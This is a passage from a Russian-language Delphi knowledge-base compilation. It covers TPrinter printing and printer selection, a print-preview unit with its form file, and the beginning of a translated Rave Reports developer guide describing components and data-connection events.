  PBitmap := TBitMap.Create;
  PBitmap.LoadFromFile('C:\1.bmp');
  with PRect do
    begin
      left := 0;
      top := 0;
      right := Printer.PageWidth;
      Bottom := Printer.PageHeight;
    end;
  with printer do
    begin
      BeginDoc;
      font.name := 'Times New Roman';
      Canvas.StretchDraw(PRect, Bitmap);
      EndDoc;
    end;
  PBitmap.Free;

end;

Удачи!
DenKop@mail.ru

Взято с сайта http://blackman.wp-club.net/


Exception при попытке создать обьект класса TPrinter

В создании обьекта класса TPrinter с использованием TPrinter.Create нет необходимости,
так как обьект класса TPrinter (называемый Printer) автоматически создается при
использовании модуля Printers.

Пример:

uses Printers;

procedure TForm1.Button1Click(Sender: TObject);
begin
  Printer.BeginDoc;
  Printer.Canvas.TextOut(100, 100, 'Hello World!');
  Printer.EndDoc;
end;
Взято из
DELPHI VCL FAQ Перевод с английского
Подборку, перевод и адаптацию материала подготовил Aziz(JINX)
специально для Королевства Дельфи


Задать необходимый для печати принтер

Кто-нибудь пристально изучал объект TPrinter? Вы можете задать необходимый для печати принтер, используя свойство Printer.PrinterIndex. Для примера:

// Устанавливает первый принтер, проинсталлированный в системе
Printer.PrinterIndex:=0;
// Указывает на принтер, установленный в системе по умолчанию
Printer.PrinterIndex:=-1;

И все! Не нужно никаких Win API функций и глобальных переменных!

Взято с http://delphiworld.narod.ru


Предпросмотр

Cодержание раздела:

Как сделать предпросмотр?


Как сделать предпросмотр?

unit printpreview;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, ExtCtrls, ComCtrls;

type
  TForm1 = class(TForm)
    Panel1: TPanel;
    Panel2: TPanel;
    PreviewPaintbox: TPaintBox;
    Label1: TLabel;
    Label2: TLabel;
    LeftMarginEdit: TEdit;
    TopMarginEdit: TEdit;
    Label3: TLabel;
    Label4: TLabel;
    RightMarginEdit: TEdit;
    Label5: TLabel;
    BottomMarginEdit: TEdit;
    ApplyMarginsButton: TButton;
    OrientationRGroup: TRadioGroup;
    Label6: TLabel;
    ZoomEdit: TEdit;
    ZoomUpDown: TUpDown;
    procedure LeftMarginEditKeyPress(Sender: TObject; var Key: Char);
    procedure FormCreate(Sender: TObject);
    procedure PreviewPaintboxPaint(Sender: TObject);
    procedure ApplyMarginsButtonClick(Sender: TObject);
  private
    { Private declarations }
    PreviewText: string;
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

uses printers;

{$R *.DFM}

procedure TForm1.LeftMarginEditKeyPress(Sender: TObject; var Key: Char);
begin
  if not (Key in ['0'..'9', #9, DecimalSeparator]) then
    Key := #0;
end;

procedure TForm1.FormCreate(Sender: TObject);
var
  S: string;

  procedure loadpreviewtext;
  var
    sl: TStringList;
  begin
    sl := TStringList.Create;
    try
      sl.Loadfromfile(Extractfilepath(application.exename) + 'printpreview.pas');
      PreviewText := sl.Text;
    finally
      sl.free
    end;
  end;

begin
  {Initialize the margin edits with a margin of 0.75 inch}
  S := FormatFloat('0.00', 0.75);
  LeftMarginEdit.Text := S;
  TopMarginEdit.Text := S;
  RightMarginEdit.Text := S;
  BottomMarginEdit.Text := S;
  {Initialize the orientation radio group}
  if Printer.Orientation = poPortrait then
    OrientationRGroup.ItemIndex := 0
  else
    OrientationRGroup.ItemIndex := 1;
  {load test text for display}
  LoadPreviewtext;
end;

procedure TForm1.PreviewPaintboxPaint(Sender: TObject);
var
  pagewidth, pageheight: Double; {printer page dimension in inch}
  printerResX, printerResY: Integer; {printer resolution in dots/inch}
  minmarginX, minmarginY: Double; {nonprintable margin in inch}
  outputarea: TRect; {print area in 1/1000 inches}
  scale: Double; {conversion factor, pixels per 1/1000 inch}

  procedure InitPrintSettings;
    function GetMargin(S: string; inX: Boolean): Double;
    begin
      Result := StrToFloat(S);
      if InX then
      begin
        if Result < minmarginX then
          Result := minmarginX;
      end
      else
      begin
        if Result < minmarginY then
          Result := minmarginY;
      end;
    end;
  begin
    printerResX := GetDeviceCaps(printer.handle, LOGPIXELSX);
    printerResY := GetDeviceCaps(printer.handle, LOGPIXELSY);
    pagewidth := GetDeviceCaps(printer.handle, PHYSICALWIDTH) / printerResX;
    pageheight := GetDeviceCaps(printer.handle, PHYSICALHEIGHT) / printerResY;
    minmarginX := GetDeviceCaps(printer.handle, PHYSICALOFFSETX) / printerResX;
    minmarginY := GetDeviceCaps(printer.handle, PHYSICALOFFSETY) / printerResY;
    outputarea.Left := Round(GetMargin(LeftMarginEdit.Text, true) * 1000);
    outputarea.Top := Round(GetMargin(TopMarginEdit.Text, false) * 1000);
    outputarea.Right := Round((pagewidth - GetMargin(RightMarginEdit.Text, true)) *
      1000);
    outputarea.Bottom := Round((pageheight - GetMargin(BottomMarginEdit.Text, false))
      * 1000);
  end;

  procedure ScaleCanvas(Canvas: TCanvas; widthavail, heightavail: Integer);
  var
    needpixelswidth, needpixelsheight: Integer;
    {dimensions of preview at current zoom factor in pixels}
    orgpixels: TPoint;
    {origin of preview in pixels}
  begin
    {set up a coordinate system for the canvas that uses 1/1000 inch as unit,
    honors the zoom factor and maintains the MM_TEXT orientation of the
    coordinate axis (origin in top left corner, positive Y axis points down}
    scale := Screen.PixelsPerInch / 1000;
    {Apply zoom factor}
    scale := scale * StrToInt(Zoomedit.text) / 100;
    {figure out size of preview}
    needpixelswidth := Round(pagewidth * 1000 * scale);
    needpixelsheight := Round(pageheight * 1000 * scale);
    if needpixelswidth >= widthavail then
      orgpixels.X := 0
    else
      orgpixels.X := (widthavail - needpixelswidth) div 2;
    if needpixelsheight >= heightavail then
      orgpixels.Y := 0
    else
      orgpixels.Y := (heightavail - needpixelsheight) div 2;
    {change mapping mode to MM_ISOTROPIC}
    SetMapMode(canvas.handle, MM_ISOTROPIC);
    {move viewport origin to orgpixels}
    SetViewportOrgEx(canvas.handle, orgpixels.x, orgpixels.y, nil);
    {scale the window}
    SetViewportExtEx(canvas.handle, Round(1000 * scale), Round(1000 * scale), nil);
    SetWindowExtEx(canvas.handle, 1000, 1000, nil);
  end;

begin
  if OrientationRGroup.ItemIndex = 0 then
    Printer.Orientation := poPortrait
  else
    Printer.Orientation := poLandscape;
  InitPrintsettings;
  with Sender as TPaintBox do
  begin
    ScaleCanvas(Canvas, ClientWidth, ClientHeight);
    {specify font height in 1/1000 inch}
    Canvas.Font.Height := Round(font.height / font.pixelsperinch * 1000);
    {paint page white}
    Canvas.Brush.Color := clWindow;
    Canvas.Brush.Style := bsSolid;
    Canvas.FillRect(Rect(0, 0, Round(pagewidth * 1000), Round(pageheight * 1000)));
    {draw the text}
    DrawText(canvas.handle, PChar(PreviewText), Length(PreviewText),
      outputarea, DT_WORDBREAK or DT_LEFT);
    {Draw thin gray lines to mark borders}
    Canvas.Pen.Color := clGray;
    Canvas.Pen.Style := psSolid;
    Canvas.Pen.Width := 10;
    with Canvas do
    begin
      MoveTo(outputarea.left - 100, outputarea.top);
      LineTo(outputarea.right + 100, outputarea.top);
      MoveTo(outputarea.left - 100, outputarea.bottom);
      LineTo(outputarea.right + 100, outputarea.bottom);
      MoveTo(outputarea.left, outputarea.top - 100);
      LineTo(outputarea.left, outputarea.bottom + 100);
      MoveTo(outputarea.right, outputarea.top - 100);
      LineTo(outputarea.right, outputarea.bottom + 100);
    end;
  end;
end;

procedure TForm1.ApplyMarginsButtonClick(Sender: TObject);
begin
  PreviewPaintbox.Invalidate;
end;

end.

object Form1: TForm1
  Left = 192
  Top = 128
  Width = 696
  Height = 480
  Caption = 'Form1'
  Color = clBtnFace
  Font.Charset = ANSI_CHARSET
  Font.Color = clWindowText
  Font.Height = -15
  Font.Name = 'Arial'
  Font.Style = []
  OldCreateOrder = False
  OnCreate = FormCreate
  PixelsPerInch = 120
  TextHeight = 17
  object Panel1: TPanel
    Left = 503
    Top = 0
    Width = 185
    Height = 453
    Align = alRight
    TabOrder = 0
    object Label1: TLabel
      Left = 8
      Top = 8
      Width = 92
      Height = 17
      Caption = 'Margins (inch)'
    end
    object Label2: TLabel
      Left = 8
      Top = 45
      Width = 24
      Height = 17
      Caption = 'Left'
    end
    object Label3: TLabel
      Left = 8
      Top = 77
      Width = 25
      Height = 17
      Caption = 'Top'
    end
    object Label4: TLabel
      Left = 8
      Top = 109
      Width = 34
      Height = 17
      Caption = 'Right'
    end
    object Label5: TLabel
      Left = 8
      Top = 141
      Width = 47
      Height = 17
      Caption = 'Bottom'
    end
    object Label6: TLabel
      Left = 8
      Top = 261
      Width = 64
      Height = 17
      Caption = 'Zoom (%)'
    end
    object LeftMarginEdit: TEdit
      Left = 60
      Top = 40
      Width = 100
      Height = 25
      TabOrder = 0
      OnKeyPress = LeftMarginEditKeyPress
    end
    object TopMarginEdit: TEdit
      Left = 60
      Top = 72
      Width = 100
      Height = 25
      TabOrder = 1
      OnKeyPress = LeftMarginEditKeyPress
    end
    object RightMarginEdit: TEdit
      Left = 60
      Top = 104
      Width = 100
      Height = 25
      TabOrder = 2
      OnKeyPress = LeftMarginEditKeyPress
    end
    object BottomMarginEdit: TEdit
      Left = 60
      Top = 136
      Width = 100
      Height = 25
      TabOrder = 3
      OnKeyPress = LeftMarginEditKeyPress
    end
    object ApplyMarginsButton: TButton
      Left = 24
      Top = 304
      Width = 137
      Height = 25
      Caption = 'Apply'
      TabOrder = 4
      OnClick = ApplyMarginsButtonClick
    end
    object OrientationRGroup: TRadioGroup
      Left = 8
      Top = 176
      Width = 161
      Height = 65
      Caption = 'Orientation'
      Items.Strings = (
        'Portrait'
        'Landscape')
      TabOrder = 5
    end
    object ZoomEdit: TEdit
      Left = 80
      Top = 256
      Width = 40
      Height = 25
      TabOrder = 6
      Text = '50'
    end
    object ZoomUpDown: TUpDown
      Left = 120
      Top = 256
      Width = 17
      Height = 25
      Associate = ZoomEdit
      Min = 0
      Increment = 10
      Position = 50
      TabOrder = 7
      Wrap = False
    end
  end
  object Panel2: TPanel
    Left = 0
    Top = 0
    Width = 503
    Height = 453
    Align = alClient
    Font.Charset = ANSI_CHARSET
    Font.Color = clWindowText
    Font.Height = -17
    Font.Name = 'Times New Roman'
    Font.Style = []
    ParentFont = False
    TabOrder = 1
    object PreviewPaintbox: TPaintBox
      Left = 1
      Top = 1
      Width = 501
      Height = 451
      Align = alClient
      OnPaint = PreviewPaintboxPaint
    end
  end
end
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Rave Report

Rave Report - Руководство разработчика New!
Rave Report - Руководство пользователя New!


Rave Report - Руководство разработчика

Rave Reports
Borland Edition 5.0

Руководство разработчика
Руководство и справочник

This manual and all material accompanying it is
Copyright (C) 1995-2002, Nevrona Designs, All Rights Reserved (rev BE50a)

© Анатолий Подгорецкий, 2003, перевод на русский язык
http://podgoretsky.com/
anatoly@podgoretsky.com

Примечание от Vit: Часть иллюстративного материала статьи и приложения были исключены с целью экономии места в DRKB - за полной версией обращайтесь к Анатолию Подгорецкому.


От переводчика

От переводчика

Это одна из двух книг посвященных генератору отчетов Rave Reports.
Главы «Лицензия на одного пользователя» и «Ограниченные гарантии» оставлены без перевода.
Поскольку у меня нет самого RAVE, то возможно местами качество перевода будет не совсем адекватное, поскольку невозможно проверить, что действительно кроется за тем или другим пунктом документации. Основной проблемой остались термины tab и tab box. Как я понял из текста tab и tab box это регионы на отчете, имеющие свои позиции и характеристики, очень похожие на табулированные позиции, табулоскопы, отсюда и слово tab. Кроме того, tab box может иметь рамки и тени и очень похож на блоки текста Ворда, с другой стороны есть аналогия и с ячейками Экселя. У них также есть различие в выравнивании. По этому у меня сложилось впечатление, что это аналогичное таблоскопам, блокам текста, к тому же хорошо реагирующее на символы табуляции, но возможно я ошибаю, так как у меня нет возможности проверить это на практике. В руководсте пользователя нет никаких намеков на это и даже упоминания об этом. Поэтому везде в тексте, где Вы встретите слово таб или таб с рамками, знайте, что речь идет именно об этих табах.
Также смутный термин [paper] sectio/n, написано о нем вскользь и очень невнятно.
По поводу замеченных недостатков и опечаток, просьба сообщать на e-mail anatoly@podgoretsky.com


Начало работы - Техническая информация

Начало работы - Техническая информация

Лицензия на одного пользователя - Single User License Agreement
This is a legal Agreement between you, as the end user, and Nevrona Designs. By opening the enclosed sealed disk package, or by using the disk, you are agreeing to be bound by the terms of this Agreement. If you do not agree with the terms of this Agreement, promptly return the unopened disk package and accompanying items, (including written materials), to the place you obtained them for a full refund.
1. Grant of License - Nevrona Designs grants to you the right to use one copy of the enclosed Nevrona Designs program, (the Software), on a single terminal connected to a single computer (i.e. CPU). You may make one copy of the Software for back-up purposes for use on your own computer. You must reproduce and include the copyright notice on the back-up copy. You may not network the Software or use it on more than a single computer or computer terminal at any time, unless a copy is purchased for each computer or terminal on the network that will use the Software. You may transfer this Software from one computer to another, provided that the Software is used on only one computer at a time. You may not rent or lease the Software, but you may transfer the Software and accompanying written material and this license to another person on a permanent basis provided you retain no copies and the other person agrees to accept the terms and conditions of this Agreement. THIS SOFTWARE MAY NOT BE DISTRIBUTED, IN MODIFIED OR UNMODIFIED FORM, AS PART OF ANY APPLICATION PROGRAM OR OTHER SOFTWARE THAT IS A LIBRARY-TYPE PRODUCT, DEVELOPMENT TOOL OR OPERATING SYSTEM, OR THAT MAY BE COMPETITIVE WITH, OR USED IN LIEU OF, THE PROGRAM PRODUCT, WITHOUT THE EXPRESS WRITTEN PERMISSION OF NEVRONA DESIGNS. This license does include the right to distribute applications using the enclosed software provided the above requirements are met.
2. Term - This Agreement is effective until you terminate it by destroying the Software, together with all copies. It will also terminate if you fail to follow this agreement. You agree upon termination to destroy the Software, together with all copies thereof.
3. Copyright - The software is owned by Nevrona Designs and is protected by United States laws and international treaty provisions. Therefore, you must treat the Software like any other copyrighted material (e.g. a book or musical recording) EXCEPT that you may either (a) make one copy of the Software solely for back-up or archival purposes, or (b) transfer the Software to a single hard disk provided you keep the original solely for back-up or archival purposes. You may not copy the written materials accompanying the Software.

Ограниченная гарантия - Limited Warranty
1. Limited Warranty - Nevrona Designs warrants that the disks on which the Software is furnished to be free from defects in material and workmanship, under normal use, for a period of 90 days after the date of the original purchase. If, during this 90-day period, a defect in the disk should occur, the disk may be returned with proof of purchase to Nevrona Designs, which will replace the disk without charge. Nevrona Designs warrants that the Software will perform substantially in accordance with the accompanying written materials. Nevrona Designs does not warrant that the functions contained in the Software will meet your requirements, or any operation of the Software will be uninterrupted or error-free. However, Nevrona Designs will, after being notified of significant errors during the 90-day period, correct demonstrable and significant Software or documentation errors within a reasonable period of time, or refund all or a fair portion of the price you have paid for the Software at Nevrona Designs' option.
2. Disclaimer of Warranties - Nevrona Designs disclaims all other warranties, either expressed or implied, including but not limited to implied warranties of merchantability of fitness from particular purpose, with respect to the Software and accompanying written materials. This limited warranty gives you specific legal rights, you may have others, varying from state to state. Nevrona Designs will have no consequential damages. In no Событие, shall Nevrona Designs or its suppliers be liable for damages whatsoever, (including without limitation, damages for loss of business profits, business interruption, loss of business information, or any pecuniary loss), arising out of the use or the inability to this Nevrona Designs product, even if Nevrona Designs has been advised of the possibility of such damages. Some states do not allow the exclusion of limitation of liability for consequential or incidental damages, and this limitation may not apply to you.
3. Sole Remedy - Nevrona Designs' entire liability in your inclusive remedy shall be, at Nevrona Designs' option, either: (1) The return of the purchase price paid; or (2) Repair or replacement of the Software that does not meet Nevrona Designs' limited warranty, which is returned to Nevrona Designs with a copy of your receipt.
4. Governing Law - This Agreement will be consTRUEd and governed in accordance with laws of the State of Arizona.
5. U.S. Government Restricted Rights - This Software and documentation are provided with restrictive rights. Use, duplication or disclosure by the Government is subject to restrictions set forth in Section c(1)(ii) of the Rights and Technical Data in Computer Software clause at 52.227-7013.

Техническая поддержка
Техническая поддержка, обновления и другая информация, относящаяся к Rave Reports, может быть получена на сайте Nevrona Designs. Для получения более подробной информации посетите один из слежующих сайтов:
Техническая поддержка - http:/www.nevrona.com/support
Добавления, советы и другая информация - http:/www.nevrona.com/rave
Обновления - http:/www.nevrona.com/rave/download.html


Введение в Rave

Панель компонент Rave
Имеются два типа объектов в Rave, компоненты вывода (Output Components) и классы отчета (Report Classes). Компоненты вывода отвечают за вывод отчета на различные устройства вывода, а классы отчета, которые не являются компонентными классами, отвечают за все остальные задачи.

TrvSystem Включает в себя стандартный принтер и предварительный просмотр и является одним из самых простых в использовании компонент.
TRvNDRWriter Создает NDR поток или файл (в должном формате) при выполнении отчета.
TrvRenderPreview Показывает диалог предварительного просмотра для NDR потока или файла.
TrvRenderPrinter Посылает NDR поток или файл на принтер.
TRvRenderPDF Преобразовывает NDR поток или файл в PDF формат.
TRvRenderHTML Преобразовывает NDR поток или файл в HTML формат.
TRvRenderRTF Преобразовывает NDR поток или файл в RTF формат.
TRvRenderText Преобразовывает NDR поток или файл в Text формат.

Классы Rave

TrvProject Производит соединение к проекту отчета, который был создан с помощью визуального редактора Rave. Используйте данный компонент для получения списка всех доступных отчетов или для выполнения конкретного отчета.
TrvCustomConnection Подсоединяет пользовательские данные (сгенерированные через события) к DirectDataViews, созданные с помощью визуального редактора Rave.
TrvDataSetConnection Подсоединяет TDataSet данные (например, TClientDataSet, или компоненты третьих сторон, наследники от TDataSet) к DirectDataViews, созданные с помощью визуального редактора Rave.
TrvTableConnection Подсоединяет TTable компоненты к DirectDataViews, созданные с помощью визуального редактора Rave.
TrvQueryConnection Подсоединяет TQuery компоненты к DirectDataViews, созданные с помощью визуального редактора Rave.


Начало работы с Rave

Добро пожаловать в RAVE!
RAVE (Report Authoring Visual Environment) это визуальная часть RAVE. Данное руководство позволит Вам, за минимальное количество шагов, быстро создать, с помощью редактора RAVE, ваш первый визуальный отчет и затем краткий обзор, что делает проект отчетов RAVE. Так что приступаем.
1) Запустите Delphi и создайте новое приложение.
2) Создайте TTable, TQuery или другие наследники от TDataSet и инициализируйте их к правильной таблице. Установите свойство Active всех компонент в TRUE и убедитесь, что все остальные свойства также выставлены корректно.
3) Создайте компонент TRvDataSetConnection (расположен на закладке Rave) и установите свойство DataSet к компоненту базы данных, который вы создали на шаге 2. Смените имя этого нового компонента на "TutorialCXN".
4) Создайте компонент (расположен на закладке Rave). Сделайте двойной щелчок на компоненте или по правой кнопке мыши выберите "Rave Visual Designer", что запустит визуальный дизайнер.
5) После того как визуальный дизайнер Rave закончит свою загрузку, выберите Project | New Data Object из главного меню для выбора диалога Data Connections. Выберите Direct Data View и затем Next. Убедитесь, что выбран элемент TutorialCXN в списке Active Data Connections и нажмите кнопку OK.
6) Перейдите в дерево проекта (Locate the Project Tree - дерево в левой части визуального дизайнера) и откройте Data View Dictionary. Выберите новый просмотр данных, DataView1, который только что был создан. Использую панель свойств (расположена ниже дерева проекта), смените имя DataView1 на TutorialDV, свойство Name.
7) Теперь мы готовы к созданию отчета. Выберите Tools | Report Wizards | Simple Table из главного меню для вызова мастера построения Simple Table. Убедитесь, что выбран элемент TutorialDV и нажмите кнопку Next для продолжения. Выберите 2 или 3 поля из списка и для продолжения нажмите кнопку Next. Установите желаемый порядок полей, и для продолжения нажмите кнопку Next. Смените заголовок отчета, для описания назначения данного отчета и нажмите кнопку Next для продолжения. Установите желаемые размеры шрифтов, затем нажмите кнопку Generate для создания отчета.
8) Для предварительного просмотра данного отчета, выберите Project | Execute Report для вызова диалога Report Setup. Выберите "Preview" и нажмите кнопку OK. Вы должны увидеть ваш отчет.
9)
Поздравляем! Вы только что создали ваш первый Rave отчет. Следующий список показывает, что типично делает приложение с помощью Rave:
Структура Rave
1) Компоненты доступа к данным – Как было сказано ранее, Rave использует данные из вашего приложения. Стандартные компоненты для доступа к данным, TRvCustomConnection, TrvDataSetConnection и TRvTableConnection представляют собой мост между данными вашего приложения и визуальными компонентами Rave. Компонент TrvCustomConnection может быть использован для доступа к данным не баз данных, таких как массивы или двоичные записи. Компонент TRvDataSetConnection может быть использован для доступа к наследникам TdataSet, включая компоненты третьих сторон. TrvTableConnection специально с компонентом TTable или его наследниками. Более детальное рассмотрение использования компонент доступа рассматривается в следующей главе.
2) Компонент TRvProject – данный компонент предоставляет доступ к отчетам и их компонентам. Компонент TRvProject имеет много свойств и методов, которые позволяют вам создавать, модифицировать и проектировать ваши проекты отчетов, будет рассмотрен в более поздних главах. Обычно вам требуется только один компонент TrvProject на приложение, но нет ограничения, что бы иметь их больше. Более подробно об использовании компоненты TRvProject будет сделана в следующих главах.
3) Файл проекта отчетов (.RAV) - файл проекта отчетов, в котором хранятся определения проекта, создается визуальным дизайнером отчетов Rave. Это двоичный файл, подобный файлу .DFM Delphi. Все отчеты, глобальные страницы и данные просмотров для проекта записываются в единственный файл. Вы можете экспортировать и импортировать элементы из файла или в файл проекта. Используя методы компоненты TRvProject, Вы можете также записывать файл проекта в поле базы данных, типа blob или в другое место.
4) Reports – библиотека (Report Library) страниц отчета проекта. Отчет Rave создает страницы отчета и визуальные компоненты на данных страницах. Вы можете создать столько определений страниц, сколько пожелаете, и объединять их большим количеством различных методов.
5) Global Pages – глобальные страницы записываются в каталог глобальных страниц проекта. Компоненты на глобальных страницах, в отличие от страниц отчета, видны во всех отчетах. Глобальные страницы служат для хранения шаблонов, которые отражаются в других страницах отчета.
6) Data Views – представления данных (Data views) записываются в словарь представлений (Data View Dictionary) проекта. Представления предоставляют интерфейс к компонентам доступа. При создании нового представления, вы должны иметь активный компонент доступа, или в работающем приложении, или на загруженной Delphi или C++Builder форме. Просмотры затем запрашивают компоненты доступа к данным для получения мета информации о данные, такой как - имена полей, типы данных и т.д. Компоненты полей содержатся внутри каждого представления, позволяя установку свойств для каждой колонки данных.


Компонент TRvSystem

3. Компонент TRvSystem

Описание

Компонент TRvSystem очень мощный компонент, который интегрирует функциональность сразу трех компонент, TRvRenderPreview, TRvRenderPrinter и TRvNDRWriter в одну простую для использования систему. TRvSystem может посылать отчет или на принтер или на экран для просмотра и может показывать диалог настройки (setup) и окно состояния.

Свойства
DefaultDest указывает, куда будет посылаться отчет, если не используется окно настройки или параметры по умолчанию для диалога настройки.
SystemFiler, который может быть назначен путем двойного щелчка на левой колонке в инспекторе объектов, может показывать все файловые настройки из TRvNDRWriter, TRvRenderPreview и TRvRenderPrinter. Все настройки SystemFiler работают так же, как и в других компонентах, за исключением потокового режима для smMemory, который не требует указания имени файла, а должен использовать TmemoryStream содержащий отчет.
SystemOptions управляет конфигурацией компонента TRvSystem.
soUseFiler всегда посылает отчет в файл отчета. Это особенно полезно, если в отчете используется метод Macro.
soWaitForOK позволяет указать, требуется ли нажатие кнопки OK пользователем, после того, как отчет будет готов для вывода.
soShowStatus позволяет указать, требуется ли вывод окна состояния при подготовке или печати отчета.
soAllowPrintFromPreview позволяет указать может ли пользователь печатать отчет из окна просмотра отчета.
soPreviewModal позволяет указать модальный режим работы окна просмотра.
soNoGenerate позволяет пропустить фазу генерации отчета и произвести вывод сразу на экран. Данная настройка должна быть использована только совместно со StreamMode и smFile, когда отчет был ранее подготовлен и необходимо его только или просмотреть или распечатать.
SystemPreview показывает все настройки просмотра, найденные в TRvRenderPreview.
SystemPrinter показывает все настройки печати, найденные в TRvNDRWriter.
SystemSetups управляет конфигурацией стандартного диалога настроек для TRvSystem.
ssAllowSetup определяет должен ли быть показан диалог настройки.
ssAllowCopies, ssAllowCollate и ssAllowDuplex разрешают включение данных настроек в диалог настройки принтера.
ssAllowDestPreview, ssAllowDestPrinter и ssAllowDestFile определяют настройки вывода, до которых пользователь может иметь доступ.
ssAllowPrinterSetup определяет, может ли пользователь вызвать диалог настройки принтера, в котором можно сменить принтер и другие параметры принтера.
ssAllowPreviewSetup определяет, может ли пользователь вызвать диалог настройки принтера после просмотра.

События
Все OnXxxx события для TRvSystem работают одинаково, как у TRvNDRWriter. Перекрытые события, OverridePreview, OverrideSetup и OverrideStatus позволяют программисту заменить эти диалоги своими собственными. Документация о том, как это сделать это отсутствует, но можно посмотреть, как это сделано в TRvSystem. Посмотрите методы OverridePreviewProc, OverrideStatusProc и OverrideSetupProc как создать перекрытый метод событие. Модули RpFormPreview, RpFormStatus и RpFormSetup расположены в \RAVE4\SOURCE, также показывают, как взаимодействовать с TRvSystem, и могут быть использованы как начальная точка для собственных версий различных форм.


Rave подключения данных

Мост к данным
Как было отмечено ранее, подключения данных (data connections) предоставляют мост между данными в вашем приложении и Rave отчетом. Первая вещь, которую вы должны сделать, это выбор типа подключения данных. Определяется это типом компонентов баз, которые Вы используете. Ниже приведенная таблица поможет вам сделать выбор, какой тип подключения лучше использовать:

Компонент подключения данных: TRvCustomConnection
Лучшее использовать с: Массивы, обычне файлы или не  TDataSet компоненты
Как подключить: Определить события, такие как OnFirst, OnNext, OnEOF, OnGetCols и OnGetRow.

Компонент подключения данных: TRvDataSetConnection
Лучшее использовать с: Наследники TDataSet от третьих сторон
Как подключить: Установите свойство DataSet соответствующему компоненту TDataSet

Компонент подключения данных: TRvTableConnection
Лучшее использовать с: TTable, заменитель TTable или его наследники
Как подключить: Установить свойство Table компоненты

Об именовании компонент подключения данных
Свойство Name компоненты подключения данных используется для именования подключения. Очень важно использовать уникальные имена для ваших компонент подключений, поскольку не может быть дублирования в вашем приложении. Также является хорошей практикой использование уникальных идентификатор в имени подключения, поскольку все подключения данных видны во всех других приложениях. Например, если ваше приложение называется Wizbang Object Wizard, то вы можете предварять имена префиксом WOW в каждом подключении, что бы имена ваших подключений были уникальными.

Управление видимостью подключения
Свойство Visible компоненты подключения данных используется для управления видимостью подключения для других приложений или версий визуального дизайнера, поставляемых конечному пользователю. Значение по умолчанию FALSE означает, что подключение данных будет видно только в отчете, печатаемом из того же самого приложения или из поставляемой программистом версии визуального дизайнера Rave. Значение TRUE означает, что подключения будут видны любому отчету, запущенному из любого приложения или из пользовательской версии дизайнера Rave. Хотя подключения данных видны в дизайнере конечного пользователя, они не показываются при попытке создать новое представление данных, поскольку они принадлежат приложению, запустившим данный дизайнер. Если Вы желаете сделать подключение из другого приложения доступным конечному пользователю, то лучшим методом будет создание проекта отчета с программисткой версией визуального дизайнера, в которой будут уже определены представления для внешних подсоединений данных.

Пользовательские подключения данных
В будущем, могут появиться и другие пользовательские подключения данных, написанные специально для других компонент баз данных. Смотри подробности в файле CUSTOMDB.TXT, который находится в папке с исходными текстами.


Настройка подключений данных

Использование событий для настройки ваших подключений данных

Вы можете управлять, как данные будут поступать в ваш отчет через события компонент подключения данных. Для данных, поступающих не из баз, используйте компонент TrvCustomConnection, Вы можете предоставить доступ к вашим данным через его события. Для подключения данных из баз, используйте компоненты, такие как TRvDataSetConnection, достаточно будет переписать событие OnValidateRow. События подключений данных следующие:
Событие   Описание
OnEOF      Вызывается, когда Rave желает определить, достигнут ли конец данных. При отсутствии данных требуется вернуть значение TRUE, если больше нет строк или если вызов события OnNext был сделан за пределы последней строки.
OnFirst   Вызывается, когда Rave желает, что бы курсор был перемещен на первую строку данных. С развитой системой буферизации Rave, это событие обычно возникает только раз в начале сессии данных.
OnGetCols   Вызывается, когда Rave желает получить мета данные. Это включает в себя имена полей, типы, размеры символов, полные имена и описание. Подробности смотри ниже.
OnGetRow   Вызывается, когда Rave желает получить данные для текущей строки. Подробности смотри ниже.
OnGetSorts   Вызывается, когда Rave желает получить доступные методы сортировки.
OnNext   Вызывается, когда Rave желает переместить курсор на следующую строку.
OnOpen   Вызывается, когда Rave желает инициализировать начало сессии. Должно быть сохранено текущее состояние, что бы потом его можно было восстановить в событии OnRestore.
OnRestore   Вызывается, когда Rave желает восстановить состояние предыдущей сессии, которое было перед ее открытием.
OnSetFilter   Вызывается, когда Rave желает фильтровать данные, такие как Master-Detail отчеты.
OnSetSort   Вызывается, когда Rave желает сортировать данные. Подробности смотри ниже.
OnValidateRow   Вызывается для каждой строки, позволяя тем сам управлять фильтрацией данных. Для пользовательских приложений, данное событие обычно не нужно, поскольку фильтрация данных через событие OnNext более эффективно. Тем не менее, данное событие очень полезно для других, более автоматизированных подключений, таких как TRvDataSetConnection. Подробности смотри ниже.
ПРИМЕЧАНИЕ:
Компонент TRvCustomConnection имеет свойства DataIndex и DataRows типа integer. Они предназначены для использования в событиях пользовательских подключений и если используются, то могут быть определены в OnFirst, OnNext и OnEOF событиях. DataIndex используется как позиция курсора, первая строка имеет номер 0. DataRows используется как счетчик строк данных. Например, если вы определяете пользовательское подключение к массиву данных, вам будет достаточно установить свойство Connection.DataRows равным количеству элементов в массиве и затем позволить Rave управлять OnFirst, OnNext и OnEOF событиями. В событии OnGetRow, Вы должны, обратиться к свойству Connection.DataIndex для определения какой элемент массива требуется вернуть назад (не забывайте, что нумерация идет с 0).

Событие OnGetCols
Событие OnGetCols вызывается, когда Rave желает получить мета данные. Внутри этого события Вы захотите вызвать метод Connection.WriteField для каждого поля (колонки) ваших данных. Определение WriteField следующее:
procedure WriteField(Name: string;DataType: TRpDataType;Width: integer;
FullName: string;Description: string);

Name это короткое имя поля и должно состоять только из алфавитно-цифровых символов. DataType это тип данных поля и должен быть одним из следующих типов: dtString, dtInteger, dtBoolean, dtFloat, dtCurrency, dtBCD, dtDate, dtTime, dtDateTime, dtBlob, dtMemo или dtGraphic. Width это относительная ширина поля в символах. Full name это полное, более описательное имя поля и может включать в себя пробелы и другие не алфавитно-цифровые символы. Если FullName пустое, то будет использовано короткое имя поля. Description это полное описание поля и обычно редактируется с помощью компонента, поэтому может состоять из нескольких строк. Используйте свойство Description для описания, как используется поле или для любой другой более, нужной информации насчет данного поля.
Пример:
procedure TDataForm.CustomCXNGetCols(Connection: TRvCustomConnection);
begin
  With Connection do begin
  WriteField('Index',dtInteger,8,'Index Field','Описание 1');
  WriteField('Name',dtString,30,'Name Field','Описание 2');
  WriteField('Amount',dtFloat,20,'Amount Field','Описание 3');
  end; { with }
end;

Событие OnOpen
Событие OnOpen возбуждается при инициализации сессии данных. В этом событие Вы можете открыть файлы данных, инициализировать переменные и сохранить текущее состояние данных для события OnRestore, которое будет возбуждено при закрытии сессии данных.
Пример:
